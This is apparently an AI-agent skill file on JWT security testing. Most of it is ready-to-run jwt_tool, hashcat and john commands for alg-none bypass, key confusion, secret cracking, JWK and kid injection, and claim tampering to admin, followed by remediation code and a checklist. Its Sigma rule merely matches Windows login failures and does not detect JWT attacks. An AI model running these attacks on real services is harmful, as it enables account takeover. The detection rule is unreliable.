<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: analyzing-jwt-vulnerabilities
description: >-
  Identify and exploit JWT implementation flaws including algorithm confusion,
  none algorithm bypass, weak signing keys, missing claims validation, JWK
  injection, and kid parameter manipulation.
domain: cybersecurity
subdomain: identity-access-management
tags:
  - jwt
  - authentication
  - token-security
  - algorithm-confusion
  - jwt-tool
  - burp-suite
  - api-security
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1550.001"]
---

# Analyzing JWT Vulnerabilities

## Overview

JSON Web Tokens (JWT) are widely used for stateless authentication but are frequently
misconfigured. Common vulnerabilities include `alg: none` bypass (CVE-2015-9235),
RS256-to-HS256 algorithm confusion, weak HMAC secrets susceptible to brute-force,
missing `exp`/`nbf`/`aud` validation, JWK header injection, and `kid` path traversal.
This skill identifies these flaws through automated analysis and manual testing.

Mode: `[MODE: RED]` for JWT exploitation; `[MODE: BLUE]` for JWT hardening.

MITRE ATT&CK: T1550.001 (Use Alternate Authentication Material: Application Access Token)

## Prerequisites

- `jwt_tool` v2.x — JWT analysis and exploitation
- `hashcat` or `john` — HMAC secret cracking
- Burp Suite with JWT Editor extension
- Python 3.10+ with `PyJWT`, `cryptography`
- Access to target application authentication endpoints

## Key Concepts

### JWT Attack Taxonomy

| Attack | Description | Severity |
|--------|-------------|----------|
| Algorithm None | Set `alg: "none"` to skip signature verification | Critical |
| Algorithm Confusion | Switch RS256 → HS256, sign with public key | Critical |
| Weak HMAC Secret | Brute-force HS256 signing key | High |
| JWK Injection | Embed attacker JWK in token header | Critical |
| kid Injection | Manipulate `kid` for path traversal or SQLi | High |
| Claim Tampering | Modify `sub`, `role`, `admin` claims | High |
| Token Expiry Bypass | Remove/extend `exp` claim | Medium |
| Cross-service Replay | Reuse token across microservices lacking `aud` check | Medium |

### JWT Structure Analysis

```bash
# Decode JWT without verification
jwt_tool <token>

# Decode and display all sections
jwt_tool <token> -V

# Check for common misconfigurations
jwt_tool <token> -M at    # All tests mode
jwt_tool <token> -M pb    # Playbook mode

# Decode manually with base64
echo '<header>' | base64 -d 2>/dev/null | jq .
echo '<payload>' | base64 -d 2>/dev/null | jq .
```

### Algorithm Confusion Attack

```bash
# Step 1: Obtain the server's public key
openssl s_client -connect target.com:443 </dev/null 2>/dev/null | \
  openssl x509 -pubkey -noout > /tmp/pubkey.pem

# Step 2: Convert to HMAC-compatible format
cat /tmp/pubkey.pem | xxd -p | tr -d '\n' > /tmp/pubkey.hex

# Step 3: Forge token with HS256 using public key as secret
jwt_tool <token> -X k -pk /tmp/pubkey.pem

# Step 4: Tamper claims
jwt_tool <token> -X k -pk /tmp/pubkey.pem -T -pc role -pv admin
```

### HMAC Secret Cracking

```bash
# Extract hash for cracking
jwt_tool <token> -C -d /usr/share/wordlists/rockyou.txt

# Hashcat mode 16500 for JWT
hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt

# John the Ripper
john jwt.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256
```

## Workflow

### Step 1: Capture and Decode Token

```bash
# Intercept JWT from application
# Via Burp proxy or browser dev tools → Network → Authorization header

# Decode and analyze
jwt_tool <captured_token> -V

# Check algorithm
jwt_tool <captured_token> | grep -i "alg"
```

### Step 2: Run Automated Scans

```bash
# Run all jwt_tool exploit modules
jwt_tool -t https://target.com/api/protected -rh "Authorization: Bearer <token>" -M at

# Test specific vulnerabilities
jwt_tool <token> -X a    # Algorithm none attack
jwt_tool <token> -X n    # Null signature
jwt_tool <token> -X k -pk /tmp/pubkey.pem   # Key confusion
jwt_tool <token> -X i    # JWK injection
```

### Step 3: Analyze with Agent Script

```bash
node scripts/agent.js --token "<jwt_token>" --output /tmp/jwt_findings.json
node scripts/agent.js --token "<jwt_token>" --pubkey /tmp/pubkey.pem --crack
```

### Step 4: Manual Exploitation

```bash
# Tamper claims — escalate privileges
jwt_tool <token> -T -pc sub -pv admin@target.com
jwt_tool <token> -T -pc role -pv administrator
jwt_tool <token> -T -pc admin -pv true

# kid path traversal
jwt_tool <token> -X i -hc kid -hv "../../dev/null" -pc sub -pv admin
```

### Step 5: Remediate

```python
# Secure JWT validation example
import jwt

ALLOWED_ALGORITHMS = ["RS256"]  # Never allow HS256 with public keys

def validate_token(token: str, public_key: str) -> dict:
    """Validate JWT with strict algorithm enforcement."""
    return jwt.decode(
        token,
        public_key,
        algorithms=ALLOWED_ALGORITHMS,
        audience="https://api.target.com",
        issuer="https://auth.target.com",
        options={
            "require": ["exp", "iat", "sub", "aud", "iss"],
            "verify_exp": True,
            "verify_aud": True,
            "verify_iss": True,
        },
    )
```

## Detection

```yaml
title: Jwt Vulnerabilities Detection
id: e6540058-e01c-4cf1-b5b6-7db7669a1045
status: experimental
description: Detects suspicious activity related to analyzing jwt vulnerabilities techniques in identity access management context
logsource:
  category: authentication
  product: windows
detection:
  selection:
    EventType: authentication
    Status: failure
  condition: selection
level: medium
tags:
  - attack.t1550.001
  - attack.credential_access
falsepositives:
  - Automated password rotation by privileged access management tools
```

## Verification

- [ ] Algorithm `none` rejected by all token validation endpoints
- [ ] Server enforces a single signing algorithm (RS256 or ES256)
- [ ] HMAC secrets are at least 256 bits of entropy (not dictionary words)
- [ ] `exp`, `aud`, `iss` claims are required and validated
- [ ] `kid` parameter sanitized against path traversal and injection
- [ ] JWK header injection blocked (server uses local keystore only)
- [ ] Token revocation mechanism exists for compromised tokens
- [ ] Refresh token rotation implemented with reuse detection

## References

- [OWASP JWT Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/JSON_Web_Token_for_Java_Cheat_Sheet.html)
- [jwt_tool — JWT Attack Toolkit](https://github.com/ticarpi/jwt_tool)
- [PortSwigger — JWT Attacks](https://portswigger.net/web-security/jwt)
- [RFC 7519 — JSON Web Token](https://datatracker.ietf.org/doc/html/rfc7519)
- [MITRE ATT&CK T1550.001](https://attack.mitre.org/techniques/T1550/001/)
